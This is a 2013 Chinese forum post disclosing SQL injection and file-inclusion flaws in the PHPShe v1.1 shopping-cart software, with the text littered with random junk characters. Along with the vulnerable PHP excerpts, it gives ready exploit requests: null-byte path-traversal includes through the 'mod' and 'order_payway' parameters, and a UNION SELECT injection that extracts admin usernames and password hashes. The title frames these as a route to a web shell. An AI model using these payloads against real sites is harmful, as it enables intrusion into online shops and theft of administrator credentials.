找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2655|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/' Y1 j5 N3 I) C0 }. W
/* Phpshe v1.1 Vulnerability
: _' S2 S/ A# O$ F9 h& C! t/ `/* ========================* K- N/ V9 d* g; k. p, _
/* By: : Kn1f37 |* K! s( n. z. s: p) c
/* E-Mail : 681796@qq.com
& `7 j3 k; L' U8 I5 u9 \: X  r9 A/*******************************************************/
) t: ^0 G* M+ M0 K7 X* K! e0×00 整体大概参数传输1 m& `! q" E% ^2 t3 O

/ P' Y3 y/ Y, ^; ^* t& w3 W- u1 U# c
# r1 p/ [( c$ I3 j# k$ u8 k$ A

. @$ s! o/ ]$ S//common.php9 p" U* F9 j) |" h% \
if (get_magic_quotes_gpc()) {. C4 \) p/ Q$ T  \# L9 G
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
6 \6 Y, U* j- k4 b; a  h; m$ ~4 m!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
& B* P' H6 t. T2 S' `}; k9 a" R$ h" D$ \
else {
( ?  q5 Y8 [: h8 d, o9 g/ o!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');5 o" R& ]( \( b7 L4 [
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');/ {% B1 W7 f0 h: N8 h
}2 i6 Z& {6 k$ A
session_start();1 C5 S4 R* @, s3 I7 h$ {6 F7 M+ K
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');3 Q. ^- |. f2 r  y' a: O9 G
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
, X) Q$ k7 o. U, B9 W+ e" N; S, e
( I/ \" u3 g2 I' }' K0×01 包含漏洞
7 y4 ~* D- r) a. E0 D$ o* d, J
( e) K9 U$ J9 B+ U  E  o
3 g5 ]2 b' o( |  `: {
//首页文件
( `" ]! X) K( x# H) D/ W+ W9 \<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
3 Z9 l- D7 w/ ?; z9 Winclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞0 d  u6 N, u# T8 `' e" N
pe_result();7 @3 t* g, n3 g5 S" M
?>
* l6 f7 V) a/ L  O& X//common 文件 第15行开始
9 W9 j# t" D6 t' D- Burl路由配置( F" B5 q- U6 ~3 }
$module = $mod = $act = 'index';4 @( ]3 Q5 y9 K' |6 I
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);/ c: I) \# Y# Q$ r2 Y
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
6 b) c' T' d* W' t2 i1 h- c$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);' y' f; D$ }& o0 W- u! r
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
. Y1 P; X+ j- ^* k- O/ p, _- u


, o* e/ I! G! `" u) ? 1 F  K) b6 p5 ^! s; P: ]% Q4 k+ C
0×02 搜索注入( E; b, r6 S" h" @: r  G% {

6 J' `' U9 F+ D7 B8 y<code id="code2">

//product.php文件/ G1 b' N" ~8 u# x/ ?  q& n9 {
case 'list':. B" q; O6 W  C' |. q9 j
$category_id = intval($id);
& w; A( C1 r$ P, y$info = $db->pe_select('category', array('category_id'=>$category_id));
0 x# Q+ v; j; w; w//搜索
7 S' W3 P1 M0 k0 r3 L3 m$sqlwhere = " and `product_state` = 1";
( C: U1 I2 z0 Y: u2 xpe_lead('hook/category.hook.php');" f4 G) X% }6 [. k2 K
if ($category_id) {
9 T3 ?' M* m! q+ y+ jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";) W2 a# W3 {- z& t
}
, |/ e  w+ e* e: t: S$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤: [# n  m1 R) y  l" b& U5 D
if ($_g_orderby) {) o6 A. H. ]/ Y- m' o  f
$orderby = explode('_', $_g_orderby);
9 @% w$ u) ^( I- J$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";& U- r& `+ ^3 n' h
}! x" {8 R) C$ C9 e9 z& S
else {  w5 c: c3 @! H2 u8 x* u
$sqlwhere .= " order by `product_id` desc";8 y) O& D" s) J. z
}0 i/ l  p. D2 P- c
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
* j! ?, z  p' D  d# d, [//热卖排行
( [% B" L7 B6 ~2 w8 m4 G6 ]+ o$product_hotlist = product_hotlist();  G  L% z" E0 r" z
//当前路径
& @8 `( S4 |. K8 h. Z. u+ y0 l" C( _$nowpath = category_path($category_id);
- G1 z) P! p6 i$ w$seo = pe_seo($info['category_name']);
+ L9 s0 g1 q2 F3 X* tinclude(pe_tpl('product_list.html'));8 B# S& T4 |" ]" x- B
//跟进selectall函数库; c) m) Y8 `5 f  W9 s+ h) g
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())( d% i  p! W( x: N) ]! C
{/ w3 p# X3 j' a: U
//处理条件语句
  K" K8 L1 c2 }+ @. V: D$sqlwhere = $this->_dowhere($where);
& d- b8 S* p3 V* wreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);0 G6 _0 D; P) Z$ U6 h
}
3 g  c1 ]) S: x" L+ G( q$ \//exp
- f* k5 ?; Q$ Wproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1  d9 n1 e/ S* {- g; q, J- P( P" E

</code>
, `# S/ ~3 h. g
4 K4 b( d, }; i# U, R9 d0×03 包含漏洞2
8 @! p4 G+ C% U0 R9 k& b; H
: K% A4 v% a" |# N& {<code id="code3">

//order.php

case 'pay':

5 o% R6 u( h" A
$order_id = pe_dbhold($_g_id);


# c9 q0 p. q  B5 w/ e$ ]$cache_payway = cache::get('payway');


; q. |: m. u6 L% kforeach($cache_payway as $k => $v) {

& H8 A6 R; r+ Y! D/ h
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


: E1 c0 G7 G% C, e. M# T1 {" [& pif ($k == 'bank') {


1 e" W' V, M* H. A: {) N$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


+ N$ R: b% z9 a3 H. D6 K) I}

) x: f: _4 C$ }+ v/ ^. \$ ^5 E5 Z
}


5 u; X$ w$ n2 t1 f  V+ D. I$ J$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


. m; H3 y2 t/ r5 N: G!$order['order_id'] && pe_error('订单号错误...');


! f) C2 v3 l  y% ~if (isset($_p_pesubmit)) {

4 ^: H# \3 V$ k- N' K
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

5 O9 Y" i6 ~$ r1 U$ ?5 `/ m; G
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

. R  q  K* i- m
foreach ($info_list as $v) {

$ V9 v( Y) U# ]2 ?
$order['order_name'] .= "{$v['product_name']};";4 O, \7 z5 ~5 P9 Y9 G

- j9 T6 b" L# x. j9 l; I
}


: ]+ z; U+ h  K8 I8 iecho '正在为您连接支付网站,请稍后...';

* C$ N! n1 t7 N% R5 g! e% `. s+ i
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

6 c9 K1 v4 a2 Z7 M8 H" R
}//当一切准备好的时候就可以进行"鸡肋包含了"


8 n% F' G! \  U. E4 o9 helse {


3 o# l1 A$ x; ~* H: Cpe_error('支付错误...');


; v' x# P, {: f# i( [}


2 C/ |* k% p6 g+ s( L  Y4 Y! _}

; h* W! Q6 D1 i. h
$seo = pe_seo('选择支付方式');


9 m/ W' |: ?0 W; k4 @4 Finclude(pe_tpl('order_pay.html'));


+ A8 }7 y* e; P! ?0 Ibreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>$ H0 V) m. Q! P, ]7 `

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表